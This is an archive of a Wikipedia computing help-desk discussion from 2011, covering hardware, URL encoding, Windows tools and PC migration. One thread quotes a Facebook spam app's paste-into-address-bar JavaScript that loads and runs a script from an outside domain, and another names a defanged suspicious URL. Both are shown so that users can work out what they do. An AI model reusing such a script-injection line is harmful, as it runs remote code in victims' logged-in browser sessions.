Here's another dev kit for $149 - BeagleBoard OMAP dev kit. It can even run Ubuntu if you don't like writing your own operating system, or working within the constraints of a commercial operating system. Nimur (talk) 19:25, 1 May 2011 (UTC)

Well, the Droid X and the Droid 2 use the Texas Instruments OMAP3630 processor. --Melab±1 ☎ 21:46, 1 May 2011 (UTC)

An OMAP3630 from a GSM device work in a CDMA device? --Melab±1 ☎ 21:57, 1 May 2011 (UTC)

Loosely speaking, an OMAP is a CPU (it is actually more than that, but I'll try to make the analogy to conventional PC hardware). The CPU only runs software and does not have a radio. On a PC, you typically have a separate WiFi chip that contains the radio circuitry and a small amount of logic and/or software. The equivalent in a mobile phone is a radio chip, which contains the radio(s) and a small amount of logic and/or software. The OMAP is just the application processor (CPU), so it doesn't know about radio protocols or signal characteristics. It just sends data to the radio chip, who then translates to either GSM or CDMA or AX.25 or 802.11 ... or whatever. This is similar to how an Intel CPU is agnostic about whether it sends data via WiFi or BlueTooth or serial port. Now, your major manufacturers might choose a different OMAP for the GSM and CDMA models, just like a PC maker might put a different CPU in each of their PC models, but the OMAP will not have any specialization for CDMA or GSM. Finally, as you seem to want to develop mobile phone systems, keep in mind that you can't muck with radio chips "casually," because it necessarily also mucks with other people's equipment. (Your mobile phone company and the FCC will come screaming if they find out you've been 'debugging' GSM on their frequency. So unfortunately, there isn't much room in the world for the hobbyist GSM developer. If you want to work with radios, you need to get in touch with a system designer who has a special agreement with the carrier, and has all the arrangements with the FCC, and usually will have a big test lab isolated from the rest of the world. (Remember - your mobile data device has a very powerful radio that transmits an omnidirectional signal with a range of many miles and if you screw up, everyone in range can be affected). Plus, you will need a development kit for a radio chip, not an application processor like OMAP. If this is unsatisfactory, you should consider a different radio band, such as an Amateur Radio frequency, and obtain a license for transmitting data. There are lots of tools to support such an effort. Nimur (talk) 00:13, 2 May 2011 (UTC)

April 30

Services not available in Netbeans

I just installed Netbeans 6.9 in Ubuntu 10.10. The problem is, when I go the services window, it shows only "Hudson Builders" (no databases etc). I seem to remember that these were available in the windows installation right from the start, but do I need to install additional plugins or something on Ubuntu? Chamal ^T•C 02:26, 30 April 2011 (UTC)

Nevermind. A re-installation fixed the problem. No idea what was going on before. Chamal ^T•C 15:23, 1 May 2011 (UTC)

mac sound problem

Hi, I have a little G4 powerbook running macosx 10.5.8 and I've bought a USB logitech headset for use with skype. But I can't change the system to use the headset because "system preferences" doesn't have a "sound" icon. I'm sure there used to be a loudspeaker icon in there. I've tried rebooting. Any advice? Robinh (talk) 05:01, 30 April 2011 (UTC)

Go to /System/Library/PreferencePanes and check to see if the file Sound.prefPane is still there. If it is, try double-clicking on it directly. If it isn't, then somehow part of the core System Preferences has been removed. I have no clue how that could happen (you're not even supposed to be able to edit any of the /System subdirectories unless you're root), but if it has you should probably think about doing an "archive and install" with your original system disks. Horselover Frost (talk · edits) 19:04, 5 May 2011 (UTC)

Two .NET questions

I am having two problems with .NET code at work:

1) One of our testers reported that a web application wasn't working correctly when she clicked on links. It turns out that the URLs in those links contain URL-encoded Nordic letters (ä and ö, encoded as %E4 and %F6). This was working fine on my computer, but not on the test server the tester used. This is apparently because the test server had an earlier version of Internet Explorer than my computer. It turned out that it didn't work for Mozilla FireFox 3.6 either. I made a quick test by URL-encoding the Nordic characters using UTF-8 encoding instead of ISO-8859-1, and then it worked for FireFox but not for Internet Explorer. I thought the letters should be URL-encoded using the encoding that the browser understands, but how do I know what it is? I've looked at the HttpRequest object coming from the client, but have found no difference between the encoding attributes. All attributes containing the word "encoding" always have their values set to "UTF-8".

2) I developed a custom X509 certificate validator to be able to use multiple client certificates in a WCF service. According to the documentation I've found online, the validator's Validate() method runs successfully if the certificate is valid but throws an exception if it's not. This is working fine, but I found that no matter what exception I throw when the certificate is invalid, the message I see at the client browser is always "...The connection is in the faulted state." which is rather cryptic. How can I transmit a more informative error message to the client browser, without resorting to dirty work-around tricks like assuming every exception is because of an invalid certificate? JIP | Talk 09:30, 30 April 2011 (UTC)

for 1), URL encoding says "For a non-ASCII character, it is typically converted to its byte sequence in UTF-8, and then each byte value is represented as above [percent encoded]" So if we take that as true (ah, but what is ever universally true between browsers...) then the page encoding is irrelevant: that non-ascii chars in URLs are always utf8 encoded. As an example, I looked at how Mediawiki and Firefox handle the å in Småland. The url is http://en.wikipedia.org/wiki/Sm%C3%A5land (although Firefox hides the percent encoding and shows an å when displaying in the url bar), and indeed the utf-8 encoding for å is 0xc3a5. -- Finlay McWalter ☻ Talk 13:53, 30 April 2011 (UTC)

And sure enough (because you're asking about Finnish letters specifically) Todennäköisyysteoria encodes as http://fi.wikipedia.org/wiki/Todenn%C3%A4k%C3%B6isyysteoria - so that U+00E4 for ä is still utf8 encoded to 0xc3a4 and percent encoded. -- Finlay McWalter ☻ Talk 14:01, 30 April 2011 (UTC)

This is how I thought it was supposed to be, but when I made the software encode ä and ö as %C3%A4 and %C3%B6 instead of %E4 and %F6, the links stopped working in IE, although they did work in Mozilla FireFox. This was on my own computer, I didn't test it on the test server yet. Why is that? Is it simply a bug in IE? Note that I'm not at work right now so I don't remember the exact version of IE my work computer uses right now. JIP | Talk 14:16, 30 April 2011 (UTC)

The hex coding is assuming a particular character encoding; the two-byte representation is almost certainly UTF-8, while your one-byte encoding could be just about anything. Almost all canonicalization algorithms mandate UTF-8 for the character encoding. This will be particularly important for your certificate validation, as you want to guarantee that there are zero possible namespace collisions due to character encoding. Require UTF-8 at all points in your application. If you ever receive non-UTF-8 strings, convert them; make conversion-to-UTF-8 a part of all string sanitization for secure applications.

Also, note that %C3%A4 and %E4 are equivalent in Unicode; they render as an identical glyph, ä, in most fonts on most operating systems. But they are not the same character. Treat this very carefully if you are validating security certificates. You might want to check your web server's (or your server file-system's) support for unicode equivalence matching on URLs. If you want to be secure, you should disable character equivalence; if you want to allow users to type either code-point to reach the same site, you should manually add a redirect from the alternate characters to the canonical URLs. Nimur (talk) 15:56, 30 April 2011 (UTC)

%E4 is not a valid UTF-8 sequence. Any webserver interpreting urls as UTF-8, shouldn't accept %E4 in URLs (or 'too long' byte sequences that encode to the same character). Unilynx (talk) 20:01, 30 April 2011 (UTC)

I've tested the URL encoding issue (see User:Finlay McWalter/sandbox) on a pretty wide range of browsers, comparing the "naked" url (the Finnish chars in the page's own encoding), the one-byte percent encoding, and the two byte utf8 encoding percentage encoded, and all the browsers I tried, back to IE5.5 (which is nearly 11 years old) handle all three encodings okay.If you check the html source it confirms Mediawiki hasn't tried to do something clever and rewrite the URLs as it generated the page. Feel free to add to that page any other (reasonably distinct) browsers/useragents you try. -- Finlay McWalter ☻ Talk 18:50, 30 April 2011 (UTC)

The two issues are entirely separate, the URL character encoding issue has nothing to do with the certificate validation issue. The certification validation issue is only concerned with certificate thumbprints, which are represented as hexadecimal numbers. I still found out that encoding the ä and ö characters as UTF-8 stopped them from working in IE, although they did work in FireFox. I haven't tested it yet on the test server. The actual URL is a JavaScript function call to open a pop-up window, with the URL of the window given as a parameter to the JavaScript, might that possibly have something to do with it? JIP | Talk 20:07, 30 April 2011 (UTC)

This is really weird, it seems it's just IE on my computer. IE on the test server, or any other test server, works like described above. IE on my computer doesn't. They are the exact same release version. It's the browser, not the website, because I tested it by connecting to the test server with IE running on my computer, and it didn't work, although it did with IE running on the test server itself. The links are JavaScript function calls like this: <a href="javascript:void window.open('http://testserver/testpage.aspx?name=Todenn%C3%A4k%C3%B6isyysteoria');"/>. They don't work in IE on my computer, but they do in IE on the test server. Typing the URL directly into the URL bar works though, and so does creating a new web page from scratch, only containing the links. It must be something on the actual web application page that is causing this. Does anyone have any idea what it might be? JIP | Talk 18:05, 2 May 2011 (UTC)

This is getting strange. Are you sure the systems are otherwise identical? It sounds like IE can handle the URL except when it's opened via Javascript. Might it be the Javascript engine that is not compatible with the character encoding? I don't think you can swap out JavaScript engines in IE, but maybe your script source can specify the character-encoding it uses. Consider placing an HTTP Meta-Equivalent in your page source:

<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>

... and see if that helps. Nimur (talk) 18:26, 2 May 2011 (UTC)

XML regular expressions syntax (2)

Hi, everybody! Can someone answer the question I asked a week ago? Or can you direct me to a place in WWW where the answer can be found? --CiaPan (talk) 19:58, 30 April 2011 (UTC)

If you're having trouble getting an answer to a rather technical computer language question, I recommend trying at Stack Overflow. They're pretty good about that sort of thing... --Mr.98 (talk) 21:22, 30 April 2011 (UTC)

Many thanks, Mr.98, I got a reply there. --CiaPan (talk) 16:58, 3 May 2011 (UTC)

Notebook doesn't start at first but then start later problem.

I have a problem with my inspiron 1526 notebook. When I try to start the notebook, the computer doesn't start, the notebook shows nothing on the screen and doenst emit sound (before even POST), but the "turned on" led in on.

Then, if I turn off the notebook and then turn on again, the notebook will start and will show a screen saying to me change the setup configuration and the notebook hour changes to 2008.

On the next day or sometimes even on the same day, if I turn off the notebook and then after some housrs try to turn on the notebook, this same problem happens again. Sometimes I have to turn on and off the notebook 3 or more times before it really start.

Sometimes when it really starts, it auto shuts down in the Windows Vista logon part, but then, if I turn on the notebook again, he will not shut down in this part and will them load Windows.

After vista loads, the notebook works in a normal way (I am typing this from the notebook).

What can be the problem??? 201.78.220.24 (talk) 22:56, 30 April 2011 (UTC)

It could be a problem with the power switch having an intermittent connection. StuRat (talk) 23:16, 30 April 2011 (UTC)

May 1

migrating to a new PC

I'm getting a new 64-bit Windows 7 computer and want to migrate from a 32-bit Windows XP computer. I can move files myself, but I have a lot of programs installed on the old one. I don't want to have to reinstall these (from CD) - most have been upgraded, etc. I want to copy them and have them work with no problems. I want to select only certain ones to move. I've been reading about Laplink PCmover. Editorial reviews of it are good but most user reviews are bad. Is this the best solution? Bubba73 ^{You talkin' to me?} 04:36, 1 May 2011 (UTC)

I just want to point out that 64-bit versions of your programs would take full advantage of your new 64 bit computer, while transferring the existing 32-bit programs won't. StuRat (talk) 04:44, 1 May 2011 (UTC)

Yes, but very few of my programs have 64-bit versions, I think. I know that one of the major ones I use has a 64-bit version coming out this year. Bubba73 ^{You talkin' to me?} 05:07, 1 May 2011 (UTC)

On Windows you could copy the program files from the old 32-bit machine to the new 64-bit machine, but it almost certainly wouldn't work. The operating system and any programs it runs relies on many Dynamic Link Library (DLL) files , many of which are 32 or 64-bit specific. What's more, many programs store their settings in the registry. You could copy the DLLs and dump the right sections of the registry but, unless you are very, very familiar with the internal workings of Windows and the programs you are transferring, there would be no guarantee that the transfer would be successful. It really is better to reload your programs from the install files (either on CD or newly downloaded from the internet), then reapply any updates. It will take a long time, but it will give you a chance to consider if you really do need some programs. Astronaut (talk) 11:09, 1 May 2011 (UTC)

Haven't tried any of these:

• Parallels Desktop® for Upgrading to Windows 7[1]
• PCmover[2]

---— Gadget850 (Ed) ^talk 13:54, 1 May 2011 (UTC)

I haven't heard of the first one - I'll check it out. (The user reviews of it are mostly bad too.) Bubba73 ^{You talkin' to me?} 15:14, 1 May 2011 (UTC)

May 2

List of Major LC-LC Fiber Optic Cable Manufacturers

  I'm now in need of LC-LC Fiber-Optic Cable, and am looking for a list of all major manufacturers. Do we have such a list on Wikipedia - if yes, what name is it under? If not, who are the major manufacturers? Thanks as always. Rocketshiporion♫ 11:24, 2 May 2011 (UTC)

Scanner issue

Good day all. I recently bought a new computer (a Win7) and now my printer/scanner/fax all in one is attached to it. On my Vista I was able to scan documents directly to PDF using the default interface but now with the 7 I can only scan them to tif, jpg, bmp, or png. Why might this be, and how can I fix it? I know I can convert these file type to pdf for free online but I'd much rather just scan directly to pdf. Thanks. 72.128.95.0 (talk) 00:01, 2 May 2011 (UTC)

What make/model scanner? ¦ Reisio (talk) 07:42, 2 May 2011 (UTC)

Did you reinstall all the drivers that came with your scanner? I don't see why the software for Win7 should have less functionality than that for Vista, but there might be some reason. Meanwhile, you can convert your scanned picture files to pdf using free software (such as CutePDF, or others mentioned at List of PDF software), but the result will be just an image in pdf format. Dbfirs 07:58, 2 May 2011 (UTC)

Live Virus/Trojan - anyone feel like investigating?

I was reading about the Sony/Anonymous war[3] and happened across a site DANGERhttp://thapsakae*net/images/img*php?u=harry-stringerDANGER (convert * to .) which made Avast sound a "threat detected", but the window never came up, and Avast now displays in an odd small font. It's not labeled in the Google search (www.google.com/search?sclient=psy&hl=en&site=&source=hp&q=%22stringer+-+6%273%22+-+Cardiff%2C+Wales%22&btnG=Search) as a "site that can harm your computer". Spybot-Search and Destroy didn't find anything. Is anyone with a real (i.e. non-Windows...) computer minded to investigate what the exploit is? And what the odds are that Avast actually stopped it? Wnt (talk) 03:16, 2 May 2011 (UTC)

http://stackoverflow.com/questions/5456462/what-does-this-php-code-do#answer-5456545 (via). If you weren't redirected or offered a download, AIUI it either didn't work or Avast! may have blocked it. ¦ Reisio (talk) 07:41, 2 May 2011 (UTC)

Sinister script?

While browsing with Firefox 4, and using it in a normal manner, I had a pop up box saying that a script may be slowing down my computer and asking if I would like to terminate it. I get these requests now and again.

The script was "resource://gre/components/nsPrivateBrowingService.js:443". Searching on Google has not found anything that explains what it is. I was not using any kind of private browsing as far as I am aware.

So is this Google yet again "accidently" snooping on people, or is it something else? Thanks 92.15.8.107 (talk) 20:38, 2 May 2011 (UTC)

Nothing to do with Google. A variety of scripts could "slow down your computer" (giving you that warning) depending on what you're visiting; it's not a sign that they're sinister. This script is part of Firefox itself however. The first thing I'd do is check that the "Start Private Browsing" entry is on your Firefox Tools menu; if it says "Stop Private Browsing", then you're in private browsing mode, and if you don't care about private browsing, then select Stop. Some other problem is obviously leading to the warning message, but it's probably a moot point if you were in Private Browsing, stopped it, and don't plan to use it again. Riggr Mortis (talk) 21:16, 2 May 2011 (UTC)

May 3

Let's go right to the end of the story...

How do I list the last few lines of a huge text file (say a GB), without my comp grinding to a halt ? I'm on Windows XP SP3. StuRat (talk) 00:22, 3 May 2011 (UTC)

Install Cygwin, and use the "tail" command. The first step, admittedly, is a bit of a barrier, and there's likely a way that doesn't require it. The thing is, though, that once you install Cygwin, you have all sorts of useful Unix commands available, to deal with just these sorts of questions. --Trovatore (talk) 00:37, 3 May 2011 (UTC)

(edit conflict) You could do this with the tail command, just download it from here (this version doesn't need Cygwin) as part of the pack for GNU utilities ported to Win32 and then run it from a command prompt with tail filename to show the last 10 lines and tail --help for other options.  ZX81  ^talk 00:39, 3 May 2011 (UTC)

less (which, like tail has unix origins but is also available on Windows) is great at handling really large files, including allowing you to search through them and move back and forward. Just less foo.txt and hit G to move to the end. -- Finlay McWalter ☻ Talk 00:49, 3 May 2011 (UTC)

It doesn't appear to be available in my Windows XP SP3. StuRat (talk) 00:53, 3 May 2011 (UTC)

[4] -- Finlay McWalter ☻ Talk 00:57, 3 May 2011 (UTC)

Sometimes, more is less. The more command is available on Windows, and takes an argument +n, where n is a line number. Using the fc and find commands, you could try to figure out the last line number and tell more to display the file beginning at this line number (minus 1, 2 or whatever, since you said you wanted to view the last few lines). -- 78.43.60.13 (talk) 11:10, 3 May 2011 (UTC)

The freeware Metapad editor http://liquidninja.com/metapad/ is said (in its full not "LE" version) to be able to handle any size of file. So load the file, then type Cntrl-End. 92.15.10.74 (talk) 11:19, 3 May 2011 (UTC)

Need help figuring out what a facebook spam app does

Hey. There is an app on facebook which I suspect is spam for various reasons. One of which is that it gives you a set of instructions which lead you to paste and exectute this in your address bar:

javascript:(a=(b=document).createElement('script')).src='//dottot.info/os/d.php?'+Math.random(),b.body.appendChild(a);void(0)

the url: dottot.info/os/d.php appears to just have this source:

<script>window.top.location = 'http://www.redirect.am/?http://www.facebook.com';</script>

Which seems pretty same. But I don't quite understand what the math.random is for, and the append child part.

This is strictly for my own person entertainment and information. Thanks! Chris M. (talk) 02:50, 3 May 2011 (UTC)

Windows Task Manager

In Windows XP SP3, on the Performance tab in the Task Manager, the CPU usage chart has red and green lines. And, of course, they prefer to leave a large blank spot in the lower right corner where the legend would normally go. So, what do red and green represent (other than Xmas) ? StuRat (talk) 03:28, 3 May 2011 (UTC)

The green represents CPU usage, the red line is the Kernal times (whatever that is, perhaps someone can enlighten us). You can disable the red line in View-Show Kernal Times. General Rommel (talk) 04:42, 3 May 2011 (UTC)

There might be some enlightenment in Kernel (computing) (note spelling). AndrewWTaylor (talk) 08:23, 3 May 2011 (UTC)